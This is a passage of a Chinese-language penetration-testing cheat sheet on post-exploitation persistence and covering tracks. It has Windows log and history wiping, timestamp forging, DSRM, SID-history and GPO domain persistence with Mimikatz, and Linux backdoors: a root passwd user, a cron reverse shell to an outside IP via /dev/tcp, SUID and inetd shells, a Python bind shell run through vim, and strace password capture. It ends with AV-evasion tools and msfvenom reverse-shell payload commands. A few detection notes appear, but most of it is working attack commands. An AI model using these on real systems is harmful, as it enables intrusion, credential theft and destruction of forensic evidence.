(Get-PSReadlineOption).HistorySavePath ``` **清除 cmd 历史记录** ```bash doskey /reinstall ``` **修改文件时间戳** ```powershell Function edit_time($path){$date1 =Get-ChildItem | Select LastWriteTime|Get-Random;$date2 =Get-ChildItem | Select LastWriteTime|Get-Random;$date3 =Get-ChildItem | Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime; $(Get-Item $path).creationtime=$date2.LastWriteTime ; $(Get-Item $path).lastwritetime=$date3.LastWriteTime}; edit_time("C:\test.txt") ``` **删除日志** Windwos 操作系统默认没有提供删除特定日志记录的功能,仅提供了删除所有日志的操作功能。也就意味着日志记录 ID(Event Record ID)应该是连续的,默认的排序方式应该是从大到小往下排列。 - 粗暴删除 ```bash net stop eventlog # 停止服务 del c:\Windows\System32\Winevt\Logs\* /Q ``` ```bash # 在 meterpreter 会话中 clearev ``` 同样简单粗暴的删除方法 ```bash wevtutil cl "Windows PowerShell" wevtutil cl application wevtutil cl security wevtutil cl setup wevtutil cl system ``` - 单条删除 - 相关文章 - [Detection and recovery of NSA’s covered up tracks](https://blog.fox-it.com/2017/12/08/detection-and-recovery-of-nsas-covered-up-tracks/) - [闲聊Windows系统日志](https://www.freebuf.com/vuls/175560.html) - [Windows XML Event Log (EVTX)单条日志清除(一)——删除思路与实例](https://3gstudent.github.io/3gstudent.github.io/Windows-XML-Event-Log-(EVTX)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%E5%AE%9E%E4%BE%8B/) - [Windows XML Event Log (EVTX)单条日志清除(二)——程序实现删除evtx文件的单条日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-XML-Event-Log-(EVTX)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%BA%8C-%E7%A8%8B%E5%BA%8F%E5%AE%9E%E7%8E%B0%E5%88%A0%E9%99%A4evtx%E6%96%87%E4%BB%B6%E7%9A%84%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/) - [Windows XML Event Log (EVTX)单条日志清除(三)——通过解除文件占用删除当前系统单条日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-XML-Event-Log-(EVTX)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%B8%89-%E9%80%9A%E8%BF%87%E8%A7%A3%E9%99%A4%E6%96%87%E4%BB%B6%E5%8D%A0%E7%94%A8%E5%88%A0%E9%99%A4%E5%BD%93%E5%89%8D%E7%B3%BB%E7%BB%9F%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/) - [Windows XML Event Log (EVTX)单条日志清除(四)——通过注入获取日志文件句柄删除当前系统单条日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-XML-Event-Log-(EVTX)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E5%9B%9B-%E9%80%9A%E8%BF%87%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%96%E6%97%A5%E5%BF%97%E6%96%87%E4%BB%B6%E5%8F%A5%E6%9F%84%E5%88%A0%E9%99%A4%E5%BD%93%E5%89%8D%E7%B3%BB%E7%BB%9F%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/) - [Windows XML Event Log (EVTX)单条日志清除(五)——通过DuplicateHandle获取日志文件句柄删除当前系统单条日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-XML-Event-Log-(EVTX)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%BA%94-%E9%80%9A%E8%BF%87DuplicateHandle%E8%8E%B7%E5%8F%96%E6%97%A5%E5%BF%97%E6%96%87%E4%BB%B6%E5%8F%A5%E6%9F%84%E5%88%A0%E9%99%A4%E5%BD%93%E5%89%8D%E7%B3%BB%E7%BB%9F%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/) - 相关工具 - [3gstudent/Eventlogedit-evtx--Evolution](https://github.com/3gstudent/Eventlogedit-evtx--Evolution) - 利用 EvtExportLog 修改指定的系统日志文件内容,修改成功后重新启动日志服务 - [3gstudent/Eventlogedit-evt--General](https://github.com/3gstudent/Eventlogedit-evt--General) - [QAX-A-Team/EventCleaner](https://github.com/QAX-A-Team/EventCleaner) - 用于从 Windows 事件日志中删除指定的记录 Windows 系统在解析事件记录日志时,按照 Event Record 的大小逐条读取日志的内容。假设修改某条日志的长度,使长度覆盖下一条日志,理论上 Windows 系统解析日志时,就会跳过下一条日志,相当于下一条日志被”删除”。 DanderSpritz 中的 eventlogedit 就是这个思路,仅仅时修改了程度,实际上并没有删除日志内容。 **3389 痕迹清除脚本** ```bat echo off color 0A title 3389连接痕迹清除 mode con cols=88 lines=20 set /p fk= 确定要清空3389连接痕迹吗?(y/n) if /i "%fk%"=="y" goto y if /i "%fk%"=="n" goto n call %0 :y reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f del /a /f /q %HOMEPATH%\Documents\Default.rdp echo 命令执行成功,请手动查看是否清除. pause >nul :n exit ``` **sysmon 日志劫持** - [codewhitesec/SysmonEnte](https://github.com/codewhitesec/SysmonEnte) --- ### 域 **相关文章** - [我所了解的内网渗透——内网渗透知识大总结](https://www.anquanke.com/post/id/92646#h2-18) #### DSRM 密码同步 **相关文章** - [巧用DSRM密码同步将域控权限持久化](http://drops.xmd5.com/static/drops/tips-9297.html) - [DS Restore Mode Password Maintenance](https://docs.microsoft.com/zh-cn/archive/blogs/askds/ds-restore-mode-password-maintenance) - [Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM)](https://adsecurity.org/?p=1714) - [Sneaky Active Directory Persistence #13: DSRM Persistence v2](https://adsecurity.org/?p=1785) 获取到域控权限后利用 DSRM 密码同步将域管权限持久化。 Windows Server 2008 需要安装 [KB961320](https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni) 补丁才支持 DSRM 密码同步,Windows Server 2003不支持 DSRM 密码同步。 ``` ntdsutil set DSRM password SYNC FROM DOMAIN ACCOUNT krbtgt Q ``` 修改注册表允许 DSRM 账户远程访问 修改注册表 hkey_local_machineSystemCurrentControlSetControlLsa 路径下的 DSRMAdminLogonBehavior 的值为2。 系统默认不存在 DSRMAdminLogonBehavior,需手动添加。 此时可用 pth 登录 ``` Mimikatz "privilege::debug" "sekurlsa::pth /domain:<域> /user:Administrator /ntlm:<hash>" exit ``` 由于可以为 DSRM 帐户 PTH,因此可以使用 Mimikatz DCSync 利用此访问权限为任何域帐户提取密码数据。我们可以针对特定的域控制器,并使用 DC 的简称来强制执行 NTLM 身份验证。 ``` Mimikatz "lsadump :: dcsync /domain:lab.adsecurity.org / dc:adsdc03 / user:krbtgt" ``` DSRM 账户是域控的本地管理员账户,并非域的管理员帐户。所以 DSRM 密码同步之后并不会影响域的管理员帐户。 事件查看器的安全事件中筛选事件 ID 为 4794 的事件日志,来判断域管是否经常进行 DSRM 密码同步操作。 **缓解措施** - 确保每一台域控制器的 DSRM 账户密码是唯一的并且定期修改此密码。同时,确保注册表 DsrmAdminLogonBehavior 的值不为 2,最好将其直接删除或者设置其值为 1 或 0。 #### SID 历史 **相关文章** - [Sneaky Active Directory Persistence #14: SID History](https://adsecurity.org/?p=1772) **描述** SID 历史记录是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符(SID),用于跟踪安全主体以及该帐户在连接到资源时所具有的访问权限。SID 历史记录使对另一个帐户的访问可以有效地克隆到另一个帐户。这对于确保用户从一个域移动(迁移)到另一个域时保留访问权限非常有用。由于在创建新帐户时用户的 SID 会更改,因此旧 SID 需要映射到新帐户。将域 A 中的用户迁移到域 B 时,将在域 B 中创建一个新的用户帐户,并将域 A 用户的 SID 添加到域 B 用户帐户的 SID 历史记录属性中。这样可以确保域 B 用户仍然可以访问域 A中的资源。 有趣的是,SID 历史记录对同一域中的 SID 的作用和对同一林中的跨域的 SID 的作用一样,这意味着域 A 中的常规用户帐户可以包含域 A SID,如果域 A 的 SID 是特权账户或组,那么普通用户账户可以获得域 A 的管理权限,而不需要是域 Admins 的成员。 注意:域中的普通用户可以在其 SID 历史记录中包含来自 Active Directory 目录林中的另一个域的 Enterprise Admin SID,从而将用户帐户的访问权限“提升”到目录林中所有域中的有效域管理员。 如果你具有一个没有启用 SID 筛选的林信任关系(也称为隔离),则可以从另一个林中注入一个 SID,并且在进行身份验证并将其用于访问评估时,它将被添加到用户令牌中。 Mimikatz 可以向任何用户账户注入 SID 历史记录(需要域管理员或同等权限)。 在这种情况下,攻击者创建用户帐户“ bobafett”,并将域的默认管理员帐户“ ADSAdministrator”(RID 500)添加到帐户的 SID 历史记录属性。 ``` mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" ``` > 注 : mimikatz 在 2016年5月6日移除了 misc::addsid,新增 sid:: module,可使用 sid::add 代替 当 bobafett 账户登录时,所有与该账户相关联的 SIDs 都会被添加到用户的令牌中,用户的令牌用于确定资源的访问权限。与账户关联的 SID 是用户的 SID、用户所在的组 SID(包括这些组的成员)以及 SID 历史记录中包含的 SID。 使用 PowerShell Active Directory cmdlet "Get-ADUser",我们可以看到没有分配给 bobafett 账户的组成员资格,尽管它在 SIDHistory(ADSAdministrator账户)中确实有一个 SID ```powershell Import-Module ActiveDirectory get-aduser bobafett -properties sidhistory,memberof ``` 当 bobafett 登录时,会评估与该账户相关的 SID,并根据这些 SID 确定访问权限。由于 bobafett 帐户与 ADSAdmnistrator 帐户(RID 500)相关联,因此 bobafett 帐户拥有 ADSAdministrator 帐户的所有访问权限,包括域管理权限。 **检测手段** 检测 SID 历史记录账户升级的最好方法是枚举出所有在 SID 历史属性中拥有数据的用户,并标记出包含同一域*中的SID的用户。如果用户没有被迁移,可以简单地搜索所有在 SIDHistory 属性中包含数据的用户。 PowerShell AD Cmdlet "Get-ADUser "对于检测 "同域SID历史记录 "最有用。 ```powershell Import-Module ActiveDirectory [string]$DomainSID = ( (Get-ADDomain).DomainSID.Value ) Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory | ` Where { $_.SIDHistory -Like "$DomainSID-*" } ``` 注意,用户的 SIDHistory 中的 SID 以 "500 "结尾,该用户的 SID 是默认的域管理员账户,默认情况下是 Administrators、Domain Admins、Schema Admins 和 Enterprise Admins 的成员。 #### AdminSDHolder & SDProp **相关文章** - [Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights](https://adsecurity.org/?p=1906) --- #### 组策略 **相关文章** - [BadGPO:组策略对象在持久化及横向渗透中的应用 ](https://www.anquanke.com/post/id/86531) - [Sneaky Active Directory Persistence #17: Group Policy](https://adsecurity.org/?p=2716) - [浅析域渗透中的组策略利用](https://xz.aliyun.com/t/7784) **组策略概述** 组策略使管理员能够管理 Active Directory 中的计算机和用户。组策略保存为组策略对象(GPO) 攻击者可以滥用 GPO,通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的,恶意软件可以利用 GPO 穿越 IDS/IPS 等防火墙,最终访问到域内所有的系统。 GPO 的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的 GPO 载荷就会被投递到目标系统。 组策略可以包括安全选项,注册表项,软件安装以及用于启动和关闭的脚本,并且域成员默认情况下每 90 分钟刷新一次组策略设置(对于域控制器为 5 分钟)。 这意味着组策略在目标计算机上强制执行配置的设置。 在大多数 Active Directory 实现中,在域上至少配置了一个 GPO,定义了授权密码、Kerberos 和全域策略;至少有一个为域控制器 OU 配置的 GPO;至少有一个为服务器和工作站 OU 配置的 GPO。这些 GPO 定义了特定于环境的安全设置,并通常配置管理组,包括启动/关闭脚本等。GPO 可以被配置为在每个级别上设置组织定义的安全要求,并可用于安装软件和设置文件和注册表权限。 GPO 仅适用于用户和计算机,并且可以按组进行过滤,或者可以使用“首选项”组件进行更具体的定位。 “No Override”选项可确保即使更接近资源的 GPO 设置相互矛盾,也可以应用组策略中的设置。 SYSVOL 是所有经过身份验证的用户具有读取权限的 Active Directory 中的域范围共享。SYSVOL 包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。 SYSVOL 共享将自动同步并在所有域控制器之间共享。 组策略也相当于远控,可以配置脚本让域内的每一台电脑都种上马批量执行一遍。 - 计划任务案例 **修改密码** changepass.vbs ``` strComputer = "." Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user") objUser.SetPassword "Zaq1xsw2" objUser.SetInfo ``` 这个脚本的作用是修改本地管理员账户的密码为 Zaq1xsw2 在域策略的 GPO 下面下发这个脚本 在域内主机上面登录域普通用户,强制刷新组策略 `gpupdate /force`,查看 vbs 脚本 --- **按照时间定时的收集信息** 导入 powershell 中管理 GPO 的模块,创建一个作用整个域的 GPO ``` Import-Module GroupPolicy -verbose new-gpo -name TestGPO | new-gplink -Target "dc=test1,dc=local" ``` 执行脚本添加计划任务 ``` New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' ``` 强制更新组策略,或者默认等待90分钟组策略强制更新 ``` Invoke-GPUpdate -Computer "TEST\COMPUTER-01" ``` 清理痕迹 ``` Remove-GPO -Name TestGPO ``` --- #### Hook PasswordChangeNotify **相关文章** - [域渗透——Hook PasswordChangeNotify](http://drops.xmd5.com/static/drops/tips-13079.html) - [维持域管权限的一些简单办法[Hook PasswordChangeNotify]](https://klionsec.github.io/2016/08/16/Hook-PasswordChangeNotify/) --- #### DCShadow **相关文章** - [DCShadow:一种新型AD攻击技术](https://www.anquanke.com/post/id/96704) - [基于AD Event日志识别DCShadow攻击](https://mp.weixin.qq.com/s/2voI9texx6wiyaakXoNJnA) - [域渗透:DCShadow攻击与利用](https://www.anquanke.com/post/id/146551) --- ## linux ### 启动项 需要开机启动自己的脚本时,只需要将可执行脚本丢在 `/etc/init.d` 目录下,然后在 `/etc/rc.d/rc*.d` 中建立软链接即可 ``` ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh ``` 此处 sshd 是具体服务的脚本文件,S100ssh 是其软链接,S 开头代表加载时自启动;如果是 K 开头的脚本文件,代表运行级别加载时需要关闭的。 --- ### 命令后台运行 当用户注销(logout)或者网络断开时,终端会收 HUP(hangup)信号从而关闭其所有子进程.因此,解决办法有两种途径:要么让进程忽略 HUP 信号,要么让进程运行在新的会话里从而成为不属于此终端的子进程. 1. 使用 nohup 命令,让提交的命令忽略 hangup 信号. ``` nohup ping www.baidu.com & ``` 2. 使用 setsid 命令,让命令在不属于终端的子进程当中执行. ``` setsid ping www.baidu.com & ``` 3. 使用 disown 命令,让某个作业忽略 hangup 信号 ``` disown -h %1 ``` 4. 使用 screen 命令 建立断开模式的会话(原理和 setid 一样,只不过直接构造了一个环境) ```bash screen -S <name> ``` --- ### 权限维持技巧 **Linux/Unix 修改文件时间戳** 直接将时间戳修改成某年某月某日.如下 2014 年 01 月 02 日. `touch -t 1401021042.30 webshell.php` **压缩包运行命令** ``` touch ''$'\n''id;' touch ''$'\n''ls -la;' tar -cf runme.tar * chmod +x runme.tar ./runme.tar ``` **ssh + http 端口复用** - [yrutschle/sslh](https://github.com/yrutschle/sslh) **避免记录登录日志** ``` ssh -T user@host /bin/bash -i ``` **藏文件和文件夹** 1. 比如创建一个名字开头带 `.` 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行.(查看方法:ls -a) ``` touch .webshell.php 创建名字为 .webshell.php 的文件 mkdir .backdoor/ 创建名字为 .backdoor 的文件夹 ``` 2. dot files ``` touch ... 创建名字为 ... 的文件 mkdir ... 创建名字为 ... 的文件夹 ``` **stdin/stdout/stderr 监控** - [liamg/siphon](https://github.com/liamg/siphon) --- ### 隐藏后门进程 **相关工具** - [Screetsec/Vegile](https://github.com/Screetsec/Vegile) - [rexguowork/phantom-attack](https://github.com/rexguowork/phantom-attack) - Phantom attack is a collection of attacks that evade Linux system call monitoring. A user mode program does not need any special privileges or capabilities to reliably evade system call monitoring using Phantom attack by exploiting insecure tracing implementations. **相关文章** - [linux常见backdoor及排查技术](https://xz.aliyun.com/t/4090) - [Linux后门整理合集](https://www.secpulse.com/archives/59674.html) - [Linux基础软件威胁疑云:从已知到“未知”](https://mp.weixin.qq.com/s/M346b8Kz_3r-yoDnBLuV8g) **添加 root 权限后门用户** 我们的目标就是在这个文件中追加一条,一个带有密文且 id 为 0 的账号. 密码加密使用下面的命令 `perl -e 'print crypt("password", "AA"). "\n"'` 所以我们最终想要在 passwd 文件中的条目是这个样子 `backdoor:AA6tQYSfGxd/A/A:0:0:me:/root:/bin/bash` 执行写入 `echo "backdoor:AA6tQYSfGxd/A:0:0:me:/root:/bin/bash">>/etc/passwd` **Crond 开机自启后门** 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. ```vim vim /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo "OK">/dev/null else /sbin/iptables --policy INPUT ACCEPT /sbin/iptables --policy OUTPUT ACCEPT bash -i >& /dev/tcp/8.8.8.8/53 0>&1 fi chmod +sx /etc/xxxx ``` ```vim vim /etc/crontab */1 * * * * root /etc/xxxx service cron reload #不同发行版重启方式不一样 service cron start ``` 然后在 8.8.8.8 的服务器上使用 NC 接收 Shell 即可. `nc -vv -lp 53` **SUID shell** 首先, 先切换成为 root 用户,并执行以下的命令: ```bash dawg:~# cp /bin/bash /.woot dawg:~# chmod 4755 /.woot dawg:~# ls -al /.woot -rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot ``` 当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的. 文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上".",就可以在任意文件目录下进行隐藏) . ```bash # 现在,做为一个普通用户,我们来启用这个后门: id uid=1000(fw) gid=1000(fw) groups=1000(fw) id uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$ # 为什么不行呢? 因为 bash2 针对 suid 有一些护卫的措施. 但这也不是不可破的: ``` ```bash /.woot -p id uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw) # 使用 -p 参数来获取一个 root shell. 这个 euid 的意思是 effective user id # 这里要特别注意的是,作为一个普通用户执行这个 SUID shell 时,一定要使用全路径. ``` 如何查找那些具有 SUID 的文件: `dawg:~# find / -perm +4000 -ls` 这时就会返回具有 SUID 位的文件啦. **远程后门** ```vim vim /etc/inetd.conf #discard stream tcp nowait root internal #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i inetd 然后就可以用 nc 连接 ``` 可以修改/etc/services文件,加入以下的东西 ```vim vim /etc/services woot 6666/tcp #evil backdoor service vim /etc/inetd.conf woot stream tcp nowait root /bin/bash bash -i ``` **PAM 后门** 主要思路:pam_unix_auth.c 打补丁安装到正常的 PAM 模块中. 1、获取目标系统所使用的 PAM 版本: `rpm -qa |grep pam` 2、编译安装 PAM 3、将本地 pam_unix_auth.c 文件通过打补丁方式,编译生成. 4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,后门密码为 root123,并会在 /tmp/pslog 记录 root 登录密码. **vim 后门** 此方法适用于安装了 vim 且安装了 python 扩展(绝大版本默认安装)的 linux 系统,至于恶意脚本 dir.py 的内容可以是任何功能的后门.如 python 版本的正向后门监听 11 端口. 检测有无扩展 ```bash vim --version | grep python ``` enter the mal script directory 、execute the script and then remove the script `cd /usr/lib/python2.7/site-packages` ```python vim dir.py #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True) ``` `$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py` read more [[DARK] Weapons of Text Destruction](https://github.com/jaredestroud/WOTD/blob/master/%5BDARK%5D%20Weapons%20of%20%20Text%20Destruction.pdf) **strace 后门** strace 记录 ssh 登录密码 注意 bash_profile 是在登录的 shell 执行的,bashrc 是在非登录的 shell 执行,即如果你只是想每次在登录的时候让它去执行,这个时候你可以把你的命令写在 .bash_profile,如果你想每次打开一个新的终端的时候都去执行,那么应该把命令写在 .bashrc 中. ```bash alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 ssh' # 也可记录 su 密码 alias su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 su' grep "read(3" /tmp/sshpwd-名字自己补全 | tail -n 11 ``` **预加载型动态链接库后门 ld.so.preload** 在 linux 下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生 Hijack strace 命令 id 的时候可以发现有预先去读取 `/etc/ld.so.preload` 文件(也可使用设置 LD_PRELAOD 环境变量方式),如果我们将事先写好的恶意 so 文件位置写入 ld.so.preload 文件,这个时候就会达到"劫持"的效果. 比较好用的工具有 Vegile 和 cub3 等 [cub3](https://github.com/mempodippy/cub3),这个工具使用了 LD_PRELOAD 和系统的扩展属性去隐藏文件. 其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门,通过替换或者修改动态链接器中的默认预加载配置文件 `/etc/ld.so.preload` 路径的 rootkit,此方法更加隐蔽,这个方法的较成熟的利用工具是 [Vlany](https://github.com/mempodippy/vlany) **进程注入** 使用 ptrace 向进程中注入恶意 so 文件工具 [linux-inject](https://github.com/gaffe23/linux-inject/) **内核级 rootkit** 如 mafix、[Diamorphine](https://github.com/m0nad/Diamorphine) --- ### 痕迹清理 **相关文章** - [开小灶:隐藏bash历史命令的小技巧](http://www.4hou.com/system/13988.html) - [Ubuntu bash不记录history方法](https://www.cnblogs.com/sevck/p/7997739.html) **相关工具** - [Macr0phag3/LLC](https://github.com/Macr0phag3/LLC) **web 日志** 如 access.log,error.log.使用 sed 进行定向清除 `sed -i -e '/192.169.1.1/d'` **history** - 常用设置,使 linux 不记住执行命令 ```bash unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 ``` - 清除历史操作命令 ```bash history -c ``` - 对 `~/.bash_history` 进行定向清除 ```diff # 查看 BASH 保留历史命令的条目 cat /etc/profile | grep HISTSIZE vim /etc/profile # 保留最新执行的5条命令 ++ HISTSIZE=5 ``` - 设置注销时删除命令记录 ```diff cat /etc/skel/.bash_logout ++ rm -f $HOME/.bash_history # 这样,系统中的所有用户注销时都会删除其命令记录,如果只需要针对某个特定用户,,如 root 用户进行设置,则可只在该用户的主目录下修改 `/$HOME/.bash_history` 文件增加相同的一行即可. ``` --- ## C2-RAT **相关教程** - [TideSec/BypassAntiVirus](https://github.com/TideSec/BypassAntiVirus) - 远控免杀系列文章及配套工具,汇总测试了互联网上的几十种免杀工具、113种白名单免杀方式、8种代码编译免杀、若干免杀实战技术,并对免杀效果进行了一一测试,为远控的免杀和杀软对抗免杀提供参考。 **相关文章** - [Shellcode 杀软对抗实战(启航篇)](https://www.anquanke.com/post/id/190354) **杀软速查** - [r00tSe7en/get_AV](https://github.com/r00tSe7en/get_AV) - Windows杀软在线对比辅助 - [gh0stkey/avList](https://github.com/gh0stkey/avList) - 逐个查询对应杀软厂商名称 **权限维持辅助工具** - [PDWR/3vilGu4rd](https://github.com/PDWR/3vilGu4rd) - This is a daemon process which make a programe runing all time. - https://mp.weixin.qq.com/s/05kOFtfYu8au0oHdP1zLAg - [TheKingOfDuck/Loki-bot](https://github.com/TheKingOfDuck/Loki-bot) - 多功能Windows机器运维管理工具 --- ### Framework - https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0 - [CobaltStrike](../../安全工具/CobaltStrike.md) - [Metasploit](../../安全工具/Metasploit.md) - [merlin](../../安全工具/merlin.md) - Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang. - [n1nj4sec/pupy](https://github.com/n1nj4sec/pupy) - Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python - [BishopFox/sliver](https://github.com/BishopFox/sliver) - Adversary Emulation Framework - [orangetw/tsh](https://github.com/orangetw/tsh) - Tiny SHell is an open-source UNIX backdoor. - [CykuTW/tsh-go](https://github.com/CykuTW/tsh-go) - Tiny SHell Go - An open-source backdoor written in Go - [trustedsec/trevorc2](https://github.com/trustedsec/trevorc2) - [AhMyth/AhMyth-Android-RAT](https://github.com/AhMyth/AhMyth-Android-RAT) - 用于 android 的 RAT - [neoneggplant/EggShell](https://github.com/neoneggplant/EggShell) - 用于 iOS/macOS/Linux 的 RAT - [Veil](https://github.com/Veil-Framework/Veil) - Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. ```bash git clone https://github.com/Veil-Framework/Veil.git cd Veil/setup/ ./setup.sh -c ./Veil.py ``` - [HERCULES](https://github.com/EgeBalci/HERCULES) - HERCULES is a special payload generator that can bypass antivirus softwares. ```bash # 确保电脑里有 Go 环境 git clone https://github.com/EgeBalci/HERCULES.git cd HERCULES wget -c https://github.com/fatih/color go get github.com/fatih/color go run Setup.go cp -rf /root/go/src/github.com /usr/lib/go-1.7/src/github.com cd SOURCE/ go run HERCULES.go ``` - [ASWCrypter](https://github.com/AbedAlqaderSwedan1/ASWCrypter) - [Shellter](https://www.shellterproject.com/) - [foolav](https://github.com/hvqzao/foolav) - [hyperion](https://github.com/nullsecuritynet/tools/tree/master/binary/hyperion) ```bash unzip hyperion.zip cd hyperion/ i586-mingw32msvc-g++ Src/Crypter/*.cpp -o hyperion.exe wine hyperion.exe shell.exe(之前用 msf 生成的文件) crypted.exe(混淆之后的文件) ``` - [d4rk007/RedGhost](https://github.com/d4rk007/RedGhost) - linux 的后渗透框架,可用于权限维持、提权等操作,半图形化.实际测试感觉不太行。 - [f0rb1dd3n/Reptile](https://github.com/f0rb1dd3n/Reptile) - LKM Linux rootkit - [jm33-m0/emp3r0r](https://github.com/jm33-m0/emp3r0r) - Linux/Windows post-exploitation framework made by linux user - [Maka8ka/NGLite](https://github.com/Maka8ka/NGLite) - 基于区块链网络的匿名跨平台远控程序 - [HavocFramework/Havoc](https://github.com/HavocFramework/Havoc) --- #### msfvenom msfvenom 可用于生成正向或反向 shell 的 payload,配合 meterpreter 使用进行渗透测试相当方便,不过在实际使用时,需要进行相应的免杀处理 **查看** ```bash msfvenom -l [ payloads | encoders | nops | platforms | archs | encrypt | formats | all ] ``` **连接** ```bash msfconsole use exploit/multi/handler set payload <payload-name> # 例如 set payload windows/x64/meterpreter_reverse_tcp set lhost <lhost> set lport <lport> set EnableStageEncoding false set ExitOnSession false exploit -j -z ``` ##### binaries **linux** ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f elf > shell.elf msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf-so -o payload.so ``` **windows** ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -f exe > ./vu.exe msfvenom --payload windows/meterpreter/reverse_tcp LHOST=********* LPORT=8080 -f exe --platform windows --arch x86 -e x86/shikata_ga_nai -i 10 > /var/www/html/update.exe msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll ``` **mac** ```bash msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip lport=your-port -f macho > shell.macho msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho ``` **android** ```bash msfvenom -p android/meterpreter/shell_reverse_tcp lhost=your-ip lport=your-port -f apk > shell.apk ``` ##### web **php** ```bash msfvenom -p php/meterpreter_reverse_tcp lhost=your-ip lport=your-port -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ``` **asp** ```bash msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f asp > shell.asp ``` **Aspx** ```bash msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx ``` **jsp** ```bash msfvenom -p java/jsp_shell_reverse_tcp lhost=your-ip lport=your-port -f raw > shell.jsp ``` **war** ```bash msfvenom -p java/jsp_shell_reverse_tcp lhost=your-ip lport=your-port -f war > shell.war ``` **javascript** ```bash msfvenom -p windows/shell_reverse_tcp lhost=your-ip lport=your-port -f js_le -e generic/none msfvenom -p linux/x86/shell_reverse_tcp lhost=your-ip lport=your-port 